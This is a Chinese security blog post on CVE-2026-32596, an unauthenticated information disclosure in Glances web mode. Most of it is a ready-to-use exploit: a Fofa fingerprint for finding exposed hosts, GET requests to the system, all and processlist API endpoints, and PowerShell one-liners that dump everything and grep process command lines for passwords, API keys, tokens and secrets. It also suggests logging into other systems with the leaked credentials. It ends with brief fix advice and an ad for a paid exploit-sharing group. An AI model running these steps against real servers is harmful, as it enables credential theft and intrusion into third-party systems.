glances-CVE-2026-32596-信息泄露

北雪网络安全

2026年10月12日 08:52
山东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

网络安全为人民，网络安全靠人民

本文章所描述的内容仅供网络安全学习使用，任何人不允许学到技术内容进行非法系统测试，作者不对任何学习文章并进行非法操作的行为负责，由本人自己承担后果，本文章仅供技术学习。

01

更多内容

网络安全学习知识库每日添加最新漏洞并提供python与 nuclei 批量探测脚本：https://pc.fenchuan8.com/#/index?forum=110296

02

搜索引擎

Fofa:icon\_hash=\"840398323\"

03

漏洞复现

影响版本：Glances  <= 4.5.1

利用前提：Glances的网页服务器在以glances -w启动时默认无需认证

GET /api/4/system HTTP/1.1Host:

利用jq解析数据

Invoke-WebRequest -Uri \"http://ip:port/api/4/system\" | Select-Object -ExpandProperty Content | jq .

获取全部数据

GET /api/4/all HTTP/1.1Host:

数据导出至本地

Invoke-WebRequest -Uri \"http://ip:port/api/4/all\" -OutFile system\_dump.json

根据泄露账号密码登录其他系统

获取进程中数据

GET /api/4/processlist HTTP/1.1Host:

检索进程中数据泄露

Invoke-RestMethod -Uri \"http://ip:port/api/4/processlist\" | Where-Object { $\_.cmdline -match \"password|api-key|token|secret\" } | Select-Object pid, username, process, cmdline

04

修复建议

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本

05

内部圈子

🛠️ 【知名漏洞实战圈，纯干货】🛠️

还在找公开漏洞POC而烦恼？还在为漏洞不会验证而发愁？还在为发现不了漏洞而自卑？这里漏洞圈子解决你的困惑！
目前已更新poc数量2500+

🎯 适用场景

▫️渗透测试▫️企业漏洞自查*▫️攻防演练▫️安全服务▫️合规运营***

**

▫️微信扫一扫进入付费圈子查看更多漏洞内容。

*▫️*全民掌握网安技能，共守智能时代晴空。